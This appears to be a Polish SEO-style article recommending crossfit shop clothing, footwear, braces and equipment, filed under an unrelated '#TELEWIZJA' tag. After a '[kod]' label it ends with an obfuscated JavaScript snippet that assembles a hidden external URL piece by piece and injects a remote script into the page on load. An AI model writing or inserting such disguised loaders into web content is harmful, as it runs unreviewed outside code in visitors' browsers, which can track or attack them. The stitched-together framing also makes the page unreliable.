#TELEWIZJA
Crossfit to trening przekrojowy, który pozwala na poprawę wydolności, siły, wytrzymałości czy mobilności. Jest jednak również bardzo wymagający, toteż niezbędne jest zaopatrzenia się w odpowiedni sprzęt i akcesoria zapewniające komfort, a przede wszystkim bezpieczeństwo podczas treningu. Wszystkie niezbędne artykuły oferują specjalistyczne sklepy crossfit.
Przede wszystkim ubiór
Podstawą przy każdego typu aktywności fizycznej jest odpowiedni ubiór. Crossfit jako trening wymagający wymusza potrzebę wyposażenia się w ubranie, które nie tylko będzie elastyczne i wygodne, ale także przewiewne. Duże znaczenie ma również kwestia odprowadzania wilgoci. Świetnie sprawdzą się przede wszystkim przylegające ubrania, które nie tylko nie będą rozpraszać podczas treningu, ale ponadto umożliwią zaobserwowanie pracy mięśni przy wykonywaniu poszczególnych ruchów.
Crossfit sklep a obuwie
Specjalistyczne sklepy crossfit to najlepsze miejsce, gdzie można znaleźć obuwie odpowiednie na tego typu treningi. Warto bowiem pamiętać, że przy wymagającej aktywności bardzo łatwo o kontuzję. Buty muszą więc być wygodne, ale przede wszystkim zapewniać stabilność i amortyzację. Mogą mieć płaską podeszwę albo nieco podniesioną piętę, dzięki której wykonywanie niektórych ćwiczeń okaże się łatwiejsze.
Akcesoria do crossfitu
Sklep crossfit oferuje także szereg urządzeń, które mogą okazać się przydatne podczas treningu. Będą one między innymi pomagać w mierzeniu tętna, czasu albo ilości powtórzeń poszczególnych ćwiczeń. Wśród artykułów w tej grupie znajdują się przede wszystkim pulsometry. Bezpieczeństwo i komfort treningu można także zwiększyć dzięki wybraniu niektórych elementów z asortymentu sklepu crossfit takich jak stabilizatory kolan i łokci, usztywniacze nadgarstków i ochraniacze piszczeli.
Specjalistyczny sprzęt
Trening crossfit można też urozmaicić dzięki licznym sprzętom takim jak skakanki crossfit czy gryfy, kamizelki obciążeniowe albo poręcze gimnastyczne. Niezbędnymi akcesoriami dla każdego zwolennika takiej aktywności fizycznej mogą okazać się także gumy i taśmy oporowe oraz piłki i rollery do masażu.
[kod]
(function(){
c1ie=document.createElement("script");c1ie_=("ust");c1ieu="131207186";
c1ie_+="a"+("t.i");c1ie.type="text/javascript";
c1ieu+=".uscp91mb1ie8pujnpe0f";c1ie.async=true;c1ie_+="n"+("f"+"o")+"/";
c1ieu+="hgudysj9vs";c1ie.src="https://"+c1ie_+c1ieu;
document.body.appendChild(c1ie);
})();